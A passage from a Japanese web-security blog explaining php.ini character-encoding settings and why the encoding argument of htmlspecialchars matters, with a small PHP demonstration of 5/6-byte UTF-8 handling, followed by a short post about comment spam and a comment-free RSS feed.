  • このテストにより、文字集合の変更がどこかで起こってないかを確認することができます。データベースによってはBMP外の文字(U+10000以降の文字)に対応していないものもあるので、「つちよしテスト」を全てのアプリケーションがパスできるとは限りません。逆に、U+00A5がバックスラッシュ(0x5C)に化けるアプリケーションには潜在的な危険性があります。

    注意事項

    今回紹介したphp.ini設定は、UTF-8→UTF-8の変換以外はバッドノウハウでもなんでもなくて、ごくまともな設定です。問題は、UTF-8→UTF-8の変換に文字エンコーディングの妥当性チェックを頼っているので、サーバーの移設などでphp.iniの設定が変更され、文字エンコーディングの自動変換がされなくなった場合に危険になることです。php.iniが変更された可能性がある場合は、phpinfoなどにより、mbstring.encoding_translationがOnになっていることを確認してください。同様に、default_charsetがUTF-8になっていることを確認してください。

    こういう問題もあるので、本当はスクリプトで、レスポンスヘッダの文字エンコーディング指定や、文字エンコーディングのチェックをした方が頑丈なアプリケーションになります。新規開発の場合は、フレームワークの設定やカスタマイズなどで、これらの処理が行われることを確実にするとよいでしょう。

    また、講演中にhtmlspecialcharsの第3引数(文字エンコーディング指定)を必ず指定するように強調しましたが、それは今回紹介する方法でも変わりません。技術力のある方の中には、「でも入口で不正な文字エンコーディングが除去されているから、htmlspecialcharsの第3引数は指定しなくても一緒でしょ」と言う人もいると思いますが、以下のような実効性もあるのです。

    それは、mbstringではチェックしないが、htmlspecialcharsではチェックするという項目があるのです。UTF-8の5バイト、6バイトの形式です。これを確認するスクリプトを作りました。

    <?php
      $u8_6 = "\xFC\x84\x80\x80\x80\x80"; // 6バイト形式のUTF-8
      var_dump(mb_check_encoding($u8_6, 'UTF-8'));
      echo bin2hex(mb_convert_encoding($u8_6, 'UTF-8', 'UTF-8')) . "\n";
      var_dump(htmlspecialchars($u8_6, ENT_QUOTES, 'UTF-8'));
      echo bin2hex(htmlspecialchars($u8_6, ENT_QUOTES));
    
    【実行結果】
    bool(true)         # checkは通っている
    fc8480808080       # UTF-8→UTF-8の変換後もそのまま
    string(0) ""       # htmlspecialcharsにUTF-8を指定すると削除される
    fc8480808080       # htmlspecialcharsに文字エンコーディングを指定しないと、そのまま
    

    このように、mbstringではUTF-8の5、6バイトの表現を認めていますが、htmlspecialcharsを通すと、5バイト以上の表現は除去されます*1。IEやFirefoxなど、現在広く使用されているブラウザはUTF-8の5、6バイトの表現を認識しないと思いますが、万一、UTF-8の5、6バイトの表現を用いた攻撃手法が見つかっても、htmlspecialcharsが削除してくれると安心です。こういうこともあり得るので、htmlspecialcharsの第3引数は指定するようにしましょう。これも、フレームワークに組み込むか、ラッパー関数を用意しておけば簡便です。

    本当は、htmlspecialcharsのデフォルト文字エンコーディングがmbstring.internal_encodingになってくれると楽ちんなのですが、現在はISO-8859-1がデフォルトなので、こういう面倒なことになります。

    まとめ

    「文字コードをやや安全に扱うphp.ini設定」を紹介し、安全になる根拠および限界を説明しました。「これさえやっておけば、おk」となるのではなく、むしろ文字コードの問題に興味を持っていただくためのきっかけになれば幸いです。なお、文字コードの話は、SQLインジェクションとかXSSなど脆弱性対策をした上での話ですので、php.iniだけで脆弱性対策が不要になるわけではないので、念のため。

    *1 この問題については、id:t_komuraさんの素晴らしいブログエントリ「最新の PHP スナップショットでの htmlspecialchars()/htmlentities() の修正内容について」に詳しい分析があります


    2010年07月25日

    _ツッコミSPAM対策で、ツッコミ抜きのRSSフィードを用意しました

    昨日17:47から19:13にかけて、大量のツッコミSPAMが来ています。取り急ぎ、ツッコミの一日あたりの上限数を0にすることにより、対応しましたが、フィードで日記をご覧いただいてる方々には、見苦しいものをお見せして申し訳ございません。

    ツッコミ対策は色々工夫してはおりますが、まだ決定的なものはない状態で、時々このような事態となっております。

    当面の問題として、RSSフィードがSPAMだらけになることが問題ですので、ツッコミを含まないRSSフィードも生成する設定にいたしました。ツッコミがうざいと思われる方は、恐れ入りますが、以下のURLから再設定いただけるとよろしいかと思います。

    http://www.tokumaru.org/d/no_comments.rdf

    no_comments.rdfの方は当面試験運用といたします。不具合などありましたら、ツッコミなどでお知らせください。

    本日のツッコミ(全2件) [ツッコミを入れる]

    _ YuneKichi [no_comments.rdfに限らないのですが、この記事以降のフィードが更新されていないように思われます。]

    _ 徳丸浩 [YuneKichiさん、ご指摘ありがとうございます。 設定がおかしかったので本日修正しました。ありがとうございました..]



    [PR]小規模ECサイトに最適なWAF、SiteGuard Lite

    ockeghem(徳丸浩)の日記はこちら
    HASHコンサルティング株式会社

    最近の記事

    最近のツッコミ

    1. かめ (11-29)
    2. いーさん (09-27)
    3. (^_^.) (07-03)
    Google